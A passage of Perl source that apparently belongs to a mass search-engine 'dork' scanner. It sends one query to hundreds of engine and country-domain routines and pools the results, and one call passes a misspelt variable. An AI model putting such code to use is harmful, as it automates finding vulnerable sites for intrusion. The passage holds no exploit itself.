&jackx9($dork."+site:ng"); push(@total,@nigeria); } if ($engine eq "Paraguay") { my @paraguay = &jackx10($dork."+site:py"); push(@total,@paraguay); } if ($engine eq "Peru") { my @peru = &jackx5($dork."+site:pe"); push(@total,@peru); } if ($engine eq "Portugal") { my @portugal = &jackx1($dork."+site:pt"); push(@total,@portugal); } if ($engine eq "PuertoRico") { my @puertorico = &jackx2($dork."+site:pr"); push(@total,@puertorico); } if ($engine eq "Qatar") { my @qatar = &jackx3($dork."+site:qa"); push(@total,@qatar); } if ($engine eq "SaintLucia") { my @saintlucia = &jackx4($dork."+site:lc"); push(@total,@saintlucia); } if ($engine eq "Samoa") { my @samoa = &jackx5($dork."+site:ws"); push(@total,@samoa); } if ($engine eq "SaudiArabia") { my @saudiarabia = &jackx7($dork."+site:sa"); push(@total,@saudiarabia); } if ($engine eq "Senegal") { my @senegal = &jackx8($dork."+site:sn"); push(@total,@senegal); } if ($engine eq "Slovakia") { my @slovakia = &jackx6($dork."+site:sk"); push(@total,@slovakia); } if ($engine eq "Srilanka") { my @srilanka = &jackx9($dork."+site:lk"); push(@total,@srilanka); } if ($engine eq "Swaziland") { my @swaziland = &jackx10($dork."+site:sz"); push(@total,@swaziland); } if ($engine eq "Tajikistan") { my @tajikistan = &jackx1($dork."+site:tj"); push(@total,@tajikistan); } if ($engine eq "Tanzania") { my @tanzania = &jackx2($dork."+site:tz"); push(@total,@tanzania); } if ($engine eq "Tokelau") { my @tokelau = &jackx3($dork."+site:tk"); push(@total,@tokelau); } if ($engine eq "Tonga") { my @tonga = &jackx4($dork."+site:to"); push(@total,@tonga); } if ($engine eq "Tunisia") { my @tunisia = &jackx5($dork."+site:tn"); push(@total,@tunisia); } if ($engine eq "Uruguay") { my @uruguay = &jackx6($dork."+site:uy"); push(@total,@uruguay); } if ($engine eq "Uzbekistan") { my @uzbekistan = &jackx7($dork."+site:uz"); push(@total,@uzbekistan); } if ($engine eq "Venezuela") { my @venezuela = &jackx8($dork."+site:ve"); push(@total,@venezuela); } if ($engine eq "Yemen") { my @yemen = &jackx9($dork."+site:ye"); push(@total,@yemen); } if ($engine eq "Yugoslavia") { my @yugoslavia = &jackx10($dork."+site:yu"); push(@total,@yugoslavia); } if ($engine eq "Zambia") { my @zambia = &jackx1($dork."+site:zm"); push(@total,@zambia); } if ($engine eq "Uganda") { my @uganda = &jackx2($dork."+site:ug"); push(@total,@uganda); } if ($engine eq "Trinidad") { my @trinidad = &jackx3($dork."+site:tt"); push(@total,@trinidad); } if ($engine eq "Zimbabwe") { my @zimbabwe = &jackx4($dork."+site:zw"); push(@total,@zimbabwe); } if ($engine eq "GooAE") { my @Gooae = &Gooae($dork); push(@total,@Gooae); } if ($engine eq "GooAR") { my @Gooar = &Gooar($dork); push(@total,@Gooar); } if ($engine eq "GooAT") { my @Gooat = &Gooat($dork); push(@total,@Gooat); } if ($engine eq "GooAU") { my @Gooau = &Gooau($dork); push(@total,@Gooau); } if ($engine eq "GooBR") { my @Goobr = &Goobr($dork); push(@total,@Goobr); } if ($engine eq "GooCA") { my @Gooca = &Gooca($dork); push(@total,@Gooca); } if ($engine eq "GooCL") { my @Goocl = &Goocl($dork); push(@total,@Goocl); } if ($engine eq "GooCN") { my @Goocn = &Goocn($dork); push(@total,@Goocn); } if ($engine eq "GooCoM") { my @Goocom = &Goocom($dork); push(@total,@Goocom); } if ($engine eq "GooCZ") { my @Goocz = &Goocz($dork); push(@total,@Goocz); } if ($engine eq "GooDE") { my @Goode = &Goode($dork); push(@total,@Goode); } if ($engine eq "GooDK") { my @Goodk = &Goodk($dork); push(@total,@Goodk); } if ($engine eq "GooES") { my @Gooes = &Gooes($dork); push(@total,@Gooes); } if ($engine eq "GooEU") { my @Gooeu = &Gooeu($dork); push(@total,@Gooeu); } if ($engine eq "GooFR") { my @Goofr = &Goofr($dork); push(@total,@Goofr); } if ($engine eq "GooHU") { my @Goohu = &Goohu($dork); push(@total,@Goohu); } if ($engine eq "GooID") { my @Gooid = &Gooid($dork); push(@total,@Gooid); } if ($engine eq "GooIL") { my @Gooil = &Gooil($dork); push(@total,@Gooil); } if ($engine eq "GooIN") { my @Gooin = &Gooin($dork); push(@total,@Gooin); } if ($engine eq "GooInfO") { my @Gooinfo = &Gooinfo($dork); push(@total,@Gooinfo); } if ($engine eq "GooIR") { my @Gooir = &Gooir($dork); push(@total,@Gooir); } if ($engine eq "GooIT") { my @Gooit = &Gooit($dork); push(@total,@Gooit); } if ($engine eq "GooJP") { my @Goojp = &Goojp($dork); push(@total,@Goojp); } if ($engine eq "GooKR") { my @Gookr = &Gookr($dork); push(@total,@Gookr); } if ($engine eq "GooMX") { my @Goomx = &Goomx($dork); push(@total,@Goomx); } if ($engine eq "GooMY") { my @Goomy = &Goomy($dork); push(@total,@Goomy); } if ($engine eq "GooNeT") { my @Goonet = &Goonet($dork); push(@total,@Goonet); } if ($engine eq "GooNL") { my @Goonl = &Goonl($dork); push(@total,@Goonl); } if ($engine eq "GooOrG") { my @Gooorg = &Gooorg($dork); push(@total,@Gooorg); } if ($engine eq "GooPH") { my @Gooph = &Gooph($dork); push(@total,@Gooph); } if ($engine eq "GooPL") { my @Goopl = &Goopl($dork); push(@total,@Goopl); } if ($engine eq "GooRO") { my @Gooro = &Gooro($dork); push(@total,@Gooro); } if ($engine eq "GooRU") { my @Gooru = &Gooru($dork); push(@total,@Gooru); } if ($engine eq "GooTH") { my @Gooth = &Gooth($dork); push(@total,@Gooth); } if ($engine eq "GooUA") { my @Gooua = &Gooua($dork); push(@total,@Gooua); } if ($engine eq "GooUK") { my @Goouk = &Goouk($dork); push(@total,@Goouk); } if ($engine eq "GooUS") { my @Goous = &Goous($dork); push(@total,@Goous); } if ($engine eq "GooSI") { my @Goosi = &Goosi($dork); push(@total,@Goosi); } if ($engine eq "GooBE") { my @Goobe = &Goobe($dork); push(@total,@Goobe); } if ($engine eq "GooBIZ") { my @Goobiz = &Goobiz($dork); push(@total,@Goobiz); } if ($engine eq "GooXXX") { my @Gooxxx = &Gooxxx($dork); push(@total,@Gooxxx); } if ($engine eq "GooTEL") { my @Gootel = &Gootel($dork); push(@total,@Gootel); } if ($engine eq "GooTV") { my @Gootv = &Gootv($dork); push(@total,@Gootv); } if ($engine eq "GooCC") { my @Goocc = &Goocc($dork); push(@total,@Goocc); } if ($engine eq "GooMIL") { my @Goomil = &Goomil($dork); push(@total,@Goomil); } if ($engine eq "GooASIA") { my @Gooasia = &Gooasia($dork); push(@total,@Gooasia); } if ($engine eq "GooNAME") { my @Gooname = &Gooname($dork); push(@total,@Gooname); } if ($engine eq "GooPRO") { my @Goopro = &Goopro($dork); push(@total,@Goopro); } if ($engine eq "GooTRAVEL") { my @Gootravel = &Gootravel($dork); push(@total,@Gootravel); } if ($engine eq "GooJOBS") { my @Goojobs = &Goojobs($dork); push(@total,@Goojobs); } if ($engine eq "GooMOBI") { my @Goomobi = &Goomobi($dork); push(@total,@Goomobi); } if ($engine eq "GooAERO") { my @Gooaero = &Gooaero($dork); push(@total,@Gooaero); } if ($engine eq "GooCAT") { my @Goocat = &Goocat($dork); push(@total,@Goocat); } if ($engine eq "GooCOOP") { my @Goocoop = &Goocoop($dork); push(@total,@Goocoop); } if ($engine eq "GooEDU") { my @Gooedu = &Gooedu($dork); push(@total,@Gooedu); } if ($engine eq "GooGOV") { my @Googov = &Googov($dork); push(@total,@Googov); } if ($engine eq "GooAS") { my @Gooas = &Gooas($dork); push(@total,@Gooas); } if ($engine eq "GooAI") { my @Gooai = &Gooai($dork); push(@total,@Gooai); } if ($engine eq "GooAG") { my @Gooag = &Gooag($dork); push(@total,@Gooag); } if ($engine eq "GooAZ") { my @Gooaz = &Gooaz($dork); push(@total,@Gooaz); } if ($engine eq "GooBH") { my @Goobh = &Goobh($dork); push(@total,@Goobh); } if ($engine eq "GooBD") { my @Goobd = &Goobd($dork); push(@total,@Goobd); } if ($engine eq "GooBZ") { my @Goobz = &Goobz($dork); push(@total,@Goobz); } if ($engine eq "GooBO") { my @Goobo = &Goobo($dork); push(@total,@Goobo); } if ($engine eq "GooBA") { my @Gooba = &Gooba($dork); push(@total,@Gooba); } if ($engine eq "GooVG") { my @Goovg = &Goovg($dork); push(@total,@Goovg); } if ($engine eq "GooBG") { my @Goobg = &Goobg($dork); push(@total,@Goobg); } if ($engine eq "GooBI") { my @Goobi = &Goobi($dork); push(@total,@Goobi); } if ($engine eq "GooCO") { my @Gooco = &Gooco($dork); push(@total,@Gooco); } if ($engine eq "GooCD") { my @Goocd = &Goocd($dork); push(@total,@Goocd); } if ($engine eq "GooCG") { my @Goocg = &Goocg($dork); push(@total,@Goocg); } if ($engine eq "GooCK") { my @Goock = &Goock($dork); push(@total,@Goock); } if ($engine eq "GooCR") { my @Goocr = &Goocr($dork); push(@total,@Goocr); } if ($engine eq "GooHR") { my @Goohr = &Goohr($dork); push(@total,@Goohr); } if ($engine eq "GooCU") { my @Goocu = &Goocu($dork); push(@total,@Goocu); } if ($engine eq "GooCI") { my @Gooci = &Gooci($dork); push(@total,@Gooci); } if ($engine eq "GooDJ") { my @Goodj = &Goodj($dork); push(@total,@Goodj); } if ($engine eq "GooDM") { my @Goodm = &Goodm($dork); push(@total,@Goodm); } if ($engine eq "GooDO") { my @Goodo = &Goodo($dork); push(@total,@Goodo); } if ($engine eq "GooEC") { my @Gooec = &Gooec($dork); push(@total,@Gooec); } if ($engine eq "GooEG") { my @Gooeg = &Gooeg($dork); push(@total,@Gooeg); } if ($engine eq "GooSV") { my @Goosv = &Goosv($dork); push(@total,@Goosv); } if ($engine eq "GooEE") { my @Gooee = &Gooee($dork); push(@total,@Gooee); } if ($engine eq "GooET") { my @Gooet = &Gooet($dork); push(@total,@Gooet); } if ($engine eq "GooFJ") { my @Goofj = &Goofj($dork); push(@total,@Goofj); } if ($engine eq "GooFI") { my @Goofi = &Goofi($dork); push(@total,@Goofi); } if ($engine eq "GooGM") { my @Googm = &Googm($dork); push(@total,@Googm); } if ($engine eq "GooGI") { my @Googi = &Googi($dork); push(@total,@Googi); } if ($engine eq "GooGR") { my @Googr = &Googr($dork); push(@total,@Googr); } if ($engine eq "GooGL") { my @Googl = &Googl($dork); push(@total,@Googl); } if ($engine eq "GooGT") { my @Googt = &Googt($dork); push(@total,@Googt); } if ($engine eq "GooGG") { my @Googg = &Googg($dork); push(@total,@Googg); } if ($engine eq "GooHT") { my @Gooht = &Gooht($dork); push(@total,@Gooht); } if ($engine eq "GooHN") { my @Goohn = &Goohn($dork); push(@total,@Goohn); } if ($engine eq "GooHK") { my @Goohk = &Goohk($dork); push(@total,@Goohk); } if ($engine eq "GooIS") { my @Goois = &Goois($dork); push(@total,@Goois); } if ($engine eq "GooIE") { my @Gooie = &Gooie($dork); push(@total,@Gooie); } if ($engine eq "GooIM") { my @Gooim = &Gooim($dork); push(@total,@Gooim); } if ($engine eq "GooJE") { my @Gooje = &Gooje($dork); push(@total,@Gooje); } if ($engine eq "GooJO") { my @Goojo = &Goojo($dork); push(@total,@Goojo); } if ($engine eq "GooKZ") { my @Gookz = &Gookz($dork); push(@total,@Gookz); } if ($engine eq "GooKE") { my @Gooke = &Gooke($dork); push(@total,@Gooke); } if ($engine eq "GooKG") { my @Gookg = &Gookg($dork); push(@total,@Gookg); } if ($engine eq "GooLV") { my @Goolv = &Goolv($dork); push(@total,@Goolv); } if ($engine eq "GooLS") { my @Gools = &Gools($dork); push(@total,@Gools); } if ($engine eq "GooLY") { my @Gooly = &Gooly($dork); push(@total,@Gooly); } if ($engine eq "GooLI") { my @Gooli = &Gooli($dork); push(@total,@Gooli); } if ($engine eq "GooLT") { my @Goolt = &Goolt($dork); push(@total,@Goolt); } if ($engine eq "GooLU") { my @Goolu = &Goolu($dork); push(@total,@Goolu); } if ($engine eq "GooMW") { my @Goomw = &Goomw($dork); push(@total,@Goomw); } if ($engine eq "GooMT") { my @Goomt = &Goomt($dork); push(@total,@Goomt); } if ($engine eq "GooMU") { my @Goomu = &Goomu($dork); push(@total,@Goomu); } if ($engine eq "GooFM") { my @Goofm = &Goofm($dork); push(@total,@Goofm); } if ($engine eq "GooMN") { my @Goomn = &Goomn($dork); push(@total,@Goomn); } if ($engine eq "GooMS") { my @Gooms = &Gooms($dork); push(@total,@Gooms); } if ($engine eq "GooMA") { my @Gooma = &Gooma($dork); push(@total,@Gooma); } if ($engine eq "GooNA") { my @Goona = &Goona($dork); push(@total,@Goona); } if ($engine eq "GooNP") { my @Goonp = &Goonp($dork); push(@total,@Goonp); } if ($engine eq "GooNZ") { my @Goonz = &Goonz($dork); push(@total,@Goonz); } if ($engine eq "GooNI") { my @Gooni = &Gooni($dork); push(@total,@Gooni); } if ($engine eq "GooNF") { my @Goonf = &Goonf($dork); push(@total,@Goonf); } if ($engine eq "GooNO") { my @Goono = &Goono($dork); push(@total,@Goono); } if ($engine eq "GooOM") { my @Gooom = &Gooom($dork); push(@total,@Gooom); } if ($engine eq "GooPK") { my @Goopk = &Goopk($dork); push(@total,@Goopk); } if ($engine eq "GooPA") { my @Goopa = &Goopa($dork); push(@total,@Goopa); } if ($engine eq "GooPY") { my @Goopy = &Goopy($dork); push(@total,@Goopy); } if ($engine eq "GooPE") { my @Goope = &Goope($dork); push(@total,@Goope); } if ($engine eq "GooPN") { my @Goopn = &Goopn($dork); push(@total,@Goopn); } if ($engine eq "GooPT") { my @Goopt = &Goopt($dork); push(@total,@Goopt); } if ($engine eq "GooPR") { my @Goopr = &Goopr($dork); push(@total,@Goopr); } if ($engine eq "GooQA") { my @Gooqa = &Gooqa($dork); push(@total,@Gooqa); } if ($engine eq "GooRW") { my @Goorw = &Goorw($dork); push(@total,@Goorw); } if ($engine eq "GooSH") { my @Goosh = &Goosh($dork); push(@total,@Goosh); } if ($engine eq "GooSM") { my @Goosm = &Goosm($dork); push(@total,@Goosm); } if ($engine eq "GooSA") { my @Goosa = &Goosa($dork); push(@total,@Goosa); } if ($engine eq "GooSN") { my @Goosn = &Goosn($dork); push(@total,@Goosn); } if ($engine eq "GooSC") { my @Goosc = &Goosc($dork); push(@total,@Goosc); } if ($engine eq "GooSG") { my @Goosg = &Goosg($dork); push(@total,@Goosg); } if ($engine eq "GooSK") { my @Goosk = &Goosk($dork); push(@total,@Goosk); } if ($engine eq "GooZA") { my @Gooza = &Gooza($dork); push(@total,@Gooza); } if ($engine eq "GooLK") { my @Goolk = &Goolk($dork); push(@total,@Goolk); } if ($engine eq "GooVC") { my @Goovc = &Goovc($dork); push(@total,@Goovc); } if ($engine eq "GooSE") { my @Goose = &Goose($dork); push(@total,@Goose); } if ($engine eq "GooCH") { my @Gooch = &Gooch($dork); push(@total,@Gooch); } if ($engine eq "GooTW") { my @Gootw = &Gootw($dork); push(@total,@Gootw); } if ($engine eq "GooTJ") { my @Gootj = &Gootj($dork); push(@total,@Gootj); } if ($engine eq "GooBS") { my @Goobs = &Goobs($dork); push(@total,@Goobs); } if ($engine eq "GooTO") { my @Gooto = &Gooto($dork); push(@total,@Gooto); } if ($engine eq "GooTT") { my @Goott = &Goott($dork); push(@total,@Goott); } if ($engine eq "GooTR") { my @Gootr = &Gootr($dork); push(@total,@Gootr); } if ($engine eq "GooTM") { my @Gootm = &Gootm($dork); push(@total,@Gootm); } if ($engine eq "GooVI") { my @Goovi = &Goovi($dork); push(@total,@Goovi); } if ($engine eq "GooUG") { my @Gooug = &Gooug($dork); push(@total,@Gooug); } if ($engine eq "GooUY") { my @Goouy = &Goouy($dork); push(@total,@Goouy); } if ($engine eq "GooUZ") { my @Goouz = &Goouz($dork); push(@total,@Goouz); } if ($engine eq "GooVE") { my @Goove = &Goove($dork); push(@total,@Goove); } if ($engine eq "GooVN") { my @Goovn = &Goovn($dork); push(@total,@Goovn); } if ($engine eq "GooZM") { my @Goozm = &Goozm($dork); push(@total,@Goozm); } if ($engine eq "Goows") { my @Goows = &Goows($dork); push(@total,@Goows); } if ($engine eq "Gooaf") { my @Gooaf = &Gooaf($dork); push(@total,@Gooaf); } if ($engine eq "Gooax") { my @Gooax = &Gooax($dork); push(@total,@Gooax); } if ($engine eq "Gooal") { my @Gooal = &Gooal($dork); push(@total,@Gooal); } if ($engine eq "Goodz") { my @Goodz = &Goodz($dork); push(@total,@Goodz); } if ($engine eq "Gooao") { my @Gooao = &Gooao($dork); push(@total,@Gooao); } if ($engine eq "Gooaq") { my @Gooaq = &Gooaq($dork); push(@total,@Gooaq); } if ($engine eq "Gooam") { my @Gooam = &Gooam($dork); push(@total,@Gooam); } if ($engine eq "Gooaw") { my @Gooaw = &Gooaw($dork); push(@total,@Gooaw); } if ($engine eq "Gooac") { my @Gooac = &Gooac($dork); push(@total,@Gooac); } if ($engine eq "Goobj") { my @Goobj = &Goobj($dork); push(@total,@Goobj); } if ($engine eq "Goobm") { my @Goobm = &Goobm($dork); push(@total,@Goobm); } if ($engine eq "Goobt") { my @Goobt = &Goobt($dork); push(@total,@Goobt); } if ($engine eq "Goobw") { my @Goobw = &Goobw($dork); push(@total,@Goobw); } if ($engine eq "Gooio") { my @Gooio = &Gooio($dork); push(@total,@Gooio); } if ($engine eq "Goobn") { my @Goobn = &Goobn($dork); push(@total,@Goobn); } if ($engine eq "Goobf") { my @Goobf = &Goobf($dork); push(@total,@Goobf); } if ($engine eq "Gookh") { my @Gookh = &Gookh($dork); push(@total,@Gookh); } if ($engine eq "Goocm") { my @Goocm = &Goocm($dork); push(@total,@Goocm); } if ($engine eq "Goocv") { my @Goocv = &Goocv($dork); push(@total,@Goocv); } if ($engine eq "Gooky") { my @Gooky = &Gooky($dork); push(@total,@Gooky); } if ($engine eq "Goocf") { my @Goocf = &Goocf($dork); push(@total,@Goocf); } if ($engine eq "Goocx") { my @Goocx = &Goocx($dork); push(@total,@Goocx); } if ($engine eq "Goocw") { my @Goocw = &Goocw($dork); push(@total,@Goocw); } if ($engine eq "Goocy") { my @Goocy = &Goocy($dork); push(@total,@Goocy); } if ($engine eq "Goofk") { my @Goofk = &Goofk($dork); push(@total,@Goofk); } if ($engine eq "Goofo") { my @Goofo = &Goofo($dork); push(@total,@Goofo); } if ($engine eq "Googh") { my @Googh = &Googh($dork); push(@total,@Googh); } if ($engine eq "Googd") { my @Googd = &Googd($dork); push(@total,@Googd); } if ($engine eq "Googp") { my @Googp = &Googp($dork); push(@total,@Googp); } if ($engine eq "Googu") { my @Googu = &Googu($dork); push(@total,@Googu); } if ($engine eq "Googn") { my @Googn = &Googn($dork); push(@total,@Googn); } if ($engine eq "Googy") { my @Googy = &Googy($dork); push(@total,@Googy); } if ($engine eq "Goohm") { my @Goohm = &Goohm($dork); push(@total,@Goohm); } if ($engine eq "Gooiq") { my @Gooiq = &Gooiq($dork); push(@total,@Gooiq); } if ($engine eq "Goojm") { my @Goojm = &Goojm($dork); push(@total,@Goojm); } if ($engine eq "Gooki") { my @Gooki = &Gooki($dork); push(@total,@Gooki); } if ($engine eq "Gookw") { my @Gookw = &Gookw($dork); push(@total,@Gookw); } if ($engine eq "Goola") { my @Goola = &Goola($dork); push(@total,@Goola); } if ($engine eq "Goolb") { my @Goolb = &Goolb($dork); push(@total,@Goolb); } if ($engine eq "Goolr") { my @Goolr = &Goolr($dork); push(@total,@Goolr); } if ($engine eq "Goomo") { my @Goomo = &Goomo($dork); push(@total,@Goomo); } if ($engine eq "Goomg") { my @Goomg = &Goomg($dork); push(@total,@Goomg); } if ($engine eq "Goomv") { my @Goomv = &Goomv($dork); push(@total,@Goomv); } if ($engine eq "Goomp") { my @Goomp = &Goomp($dork); push(@total,@Goomp); } if ($engine eq "Goomq") { my @Goomq = &Goomq($dork); push(@total,@Goomq); } if ($engine eq "Goomr") { my @Goomr = &Goomr($dork); push(@total,@Goomr); } if ($engine eq "Gooyt") { my @Gooyt = &Gooyt($dork); push(@total,@Gooyt); } if ($engine eq "Goomd") { my @Goomd = &Goomd($dork); push(@total,@Goomd); } if ($engine eq "Goomc") { my @Goomc = &Goomc($dork); push(@total,@Goomc); } if ($engine eq "Goome") { my @Goome = &Goome($dork); push(@total,@Goome); } if ($engine eq "Goomz") { my @Goomz = &Goomz($dork); push(@total,@Goomz); } if ($engine eq "Goonr") { my @Goonr = &Goonr($dor); push(@total,@Goonr); } if ($engine eq "Goonc") { my @Goonc = &Goonc($dork); push(@total,@Goonc); } if ($engine eq "Goong") { my @Goong = &Goong($dork); push(@total,@Goong); } if ($engine eq "Goonu") { my @Goonu = &Goonu($dork); push(@total,@Goonu); } if ($engine eq "Goopw") { my @Goopw = &Goopw($dork); push(@total,@Goopw); } if ($engine eq "Goops") { my @Goops = &Goops($dork); push(@total,@Goops); } if ($engine eq "Goocq") { my @Goocq = &Goocq($dork); push(@total,@Goocq); } if ($engine eq "Goore") { my @Goore = &Goore($dork); push(@total,@Goore); } if ($engine eq "Goolc") { my @Goolc = &Goolc($dork); push(@total,@Goolc); } if ($engine eq "Goopm") { my @Goopm = &Goopm($dork); push(@total,@Goopm); } if ($engine eq "Goost") { my @Goost = &Goost($dork); push(@total,@Goost); } if ($engine eq "Goors") { my @Goors = &Goors($dork); push(@total,@Goors); } if ($engine eq "Googs") { my @Googs = &Googs($dork); push(@total,@Googs); } if ($engine eq "Goosl") { my @Goosl = &Goosl($dork); push(@total,@Goosl); } if ($engine eq "Goosx") { my @Goosx = &Goosx($dork); push(@total,@Goosx); } if ($engine eq "Goosb") { my @Goosb = &Goosb($dork); push(@total,@Goosb); } if ($engine eq "Gooso") { my @Gooso = &Gooso($dork); push(@total,@Gooso); } if ($engine eq "Goosu") { my @Goosu = &Goosu($dork); push(@total,@Goosu); } if ($engine eq "Gookn") { my @Gookn = &Gookn($dork); push(@total,@Gookn); } if ($engine eq "Goosr") { my @Goosr = &Goosr($dork); push(@total,@Goosr); } if ($engine eq "Gootz") { my @Gootz = &Gootz($dork); push(@total,@Gootz); } if ($engine eq "Gootl") { my @Gootl = &Gootl($dork); push(@total,@Gootl); } if ($engine eq "Gootg") { my @Gootg = &Gootg($dork); push(@total,@Gootg); } if ($engine eq "Gootk") { my @Gootk = &Gootk($dork); push(@total,@Gootk); } if ($engine eq "Gootn") { my @Gootn = &Gootn($dork); push(@total,@Gootn); } if ($engine eq "Gootc") { my @Gootc = &Gootc($dork); push(@total,@Gootc); } if ($engine eq "Goovu") { my @Goovu = &Goovu($dork); push(@total,@Goovu); } if ($engine eq "Goowf") { my @Goowf = &Goowf($dork); push(@total,@Goowf); } if ($engine eq "Goows") { my @Goows = &Goows($dork); push(@total,@Goows); } if ($engine eq "Gooye") { my @Gooye = &Gooye($dork); push(@total,@Gooye); } if ($engine eq "Goozw") { my @Goozw = &Goozw($dork); push(@total,@Goozw); } if ($engine eq "JacKAE") { my @jackae = &jack($dork."+site:ae",$jackae); push(@total,@jackae); } if ($engine eq "JacKAR") { my @jackar = &jack($dork."+site:ar",$jackar); push(@total,@jackar); } if ($engine eq "JacKAT") { my @jackat = &jack($dork."+site:at",$jackat); push(@total,@jackat); } if ($engine eq "JacKAU") { my @jackau = &jack($dork."+site:au",$jackau); push(@total,@jackau); } if ($engine eq "JacKBR") { my @jackbr = &jack($dork."+site:br",$jackbr); push(@total,@jackbr); } if ($engine eq "JacKCA") { my @jackca = &jack($dork."+site:ca",$jackca); push(@total,@jackca); } if ($engine eq "JacKCL") { my @jackcl = &jack($dork."+site:cl",$jackcl); push(@total,@jackcl); } if ($engine eq "JacKCN") { my @jackcn = &jack($dork."+site:cn",$jackcn); push(@total,@jackcn); } if ($engine eq "JacKCoM") { my @jackcom = &jack($dork."+site:com",$jackcom); push(@total,@jackcom); } if ($engine eq "JacKCZ") { my @jackcz = &jack($dork."+site:cz",$jackcz); push(@total,@jackcz); } if ($engine eq "JacKDE") { my @jackde = &jack($dork."+site:de",$jackde); push(@total,@jackde); } if ($engine eq "JacKDK") { my @jackdk = &jack($dork."+site:dk",$jackdk); push(@total,@jackdk); } if ($engine eq "JacKES") { my @jackes = &jack($dork."+site:es",$jackes); push(@total,@jackes); } if ($engine eq "JacKEU") { my @jackeu = &jack($dork."+site:eu",$jackeu); push(@total,@jackeu); } if ($engine eq "JacKFR") { my @jackfr = &jack($dork."+site:fr",$jackfr); push(@total,@jackfr); } if ($engine eq "JacKHU") { my @jackhu = &jack($dork."+site:hu",$jackhu); push(@total,@jackhu); } if ($engine eq "JacKID") { my @jackid = &jack($dork."+site:id",$jackid); push(@total,@jackid); } if ($engine eq "JacKIL") { my @jackil = &jack($dork."+site:il",$jackil); push(@total,@jackil); } if ($engine eq "JacKIN") { my @jackin = &jack($dork."+site:in",$jackin); push(@total,@jackin); } if ($engine eq "JacKInfO") { my @jackinfo = &jack($dork."+site:info",$jackinfo); push(@total,@jackinfo); } if ($engine eq "JacKIR") { my @jackir = &jack($dork."+site:ir",$jackir); push(@total,@jackir); } if ($engine eq "JacKIT") { my @jackit = &jack($dork."+site:it",$jackit); push(@total,@jackit); } if ($engine eq "JacKJP") { my @jackjp = &jack($dork."+site:jp",$jackjp); push(@total,@jackjp); } if ($engine eq "JacKKR") { my @jackkr = &jack($dork."+site:kr",$jackkr); push(@total,@jackkr); } if ($engine eq "JacKMX") { my @jackmx = &jack($dork."+site:mx",$jackmx); push(@total,@jackmx); } if ($engine eq "JacKMY") { my @jackmy = &jack($dork."+site:my",$jackmy); push(@total,@jackmy); } if ($engine eq "JacKNeT") { my @jacknet = &jack($dork."+site:net",$jacknet); push(@total,@jacknet); } if ($engine eq "JacKNL") { my @jacknl = &jack($dork."+site:nl",$jacknl); push(@total,@jacknl); } if ($engine eq "JacKOrG") { my @jackorg = &jack($dork."+site:org",$jackorg); push(@total,@jackorg); } if ($engine eq "JacKPH") { my @jackph = &jack($dork."+site:ph",$jackph); push(@total,@jackph); } if ($engine eq "JacKPL") { my @jackpl = &jack($dork."+site:pl",$jackpl); push(@total,@jackpl); } if ($engine eq "JacKRO") { my @jackro = &jack($dork."+site:ro",$jackro); push(@total,@jackro); } if ($engine eq "JacKRU") { my @jackru = &jack($dork."+site:ru",$jackru); push(@total,@jackru); } if ($engine eq "JacKTH") { my @jackth = &jack($dork."+site:th",$jackth); push(@total,@jackth); } if ($engine eq "JacKUA") { my @jackua = &jack($dork."+site:ua",$jackua); push(@total,@jackua); } if ($engine eq "JacKUK") { my @jackuk = &jack($dork."+site:uk",$jackuk); push(@total,@jackuk); } if ($engine eq "JacKUS") { my @jackus = &jack($dork."+site:us",$jackus); push(@total,@jackus); } if ($engine eq "JacKSI") { my @jacksi = &jack($dork."+site:si",$jacksi); push(@total,@jacksi); } if ($engine eq "JacKBE") { my @jackbe = &jack($dork."+site:be",$jackbe); push(@total,@jackbe); } if ($engine eq "JacKBIZ") { my @jackbiz = &jack($dork."+site:biz",$jackbiz); push(@total,@jackbiz); } if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); } if ($engine eq "GooGLeCA") { my @googleCA = googleCA($dork); push(@total,@googleCA); } if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); } if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); } if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); } if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); } if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); } if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); } if ($engine eq "GooGLeBE") { my @googleBE = googleBE($dork); push(@total,@googleBE); } if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); } if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); } if ($engine eq "GooGLeDK") { my @googleDK = googleDK($dork); push(@total,@googleDK); } if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); } if ($engine eq "GooGLeNZ") { my @googleNZ = googleNZ($dork); push(@total,@googleNZ); } if ($engine eq "GooGLeIE") { my @googleIE = googleIE($dork); push(@total,@googleIE); } if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); } if ($engine eq "GooGLeAR") { my @googleAR = googleAR($dork); push(@total,@googleAR); } if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); } if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); } if ($engine eq "GooGLeCL") { my @googleCL = googleCL($dork); push(@total,@googleCL); } if ($engine eq "GooGLeMX") { my @googleMX = googleMX($dork); push(@total,@googleMX); } if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); } if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); } if ($engine eq "GooGLeAT") { my @googleAT = googleAT($dork); push(@total,@googleAT); } if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); } if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); } if ($engine eq "GooGLeTR") { my @googleTR = googleTR($dork); push(@total,@googleTR); } if ($engine eq "GooGLeUA") { my @googleUA = googleUA($dork); push(@total,@googleUA); } if ($engine eq "GooGLeGR") { my @googleGR = googleGR($dork); push(@total,@googleGR); } if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); } if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); } if ($engine eq "GooGLeMY") { my @googleMY = googleMY($dork); push(@total,@googleMY); } if ($engine eq "GooGLeTH") { my @googleTH = googleTH($dork); push(@total,@googleTH); } if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); } if ($engine eq "GooGLeRO") { my 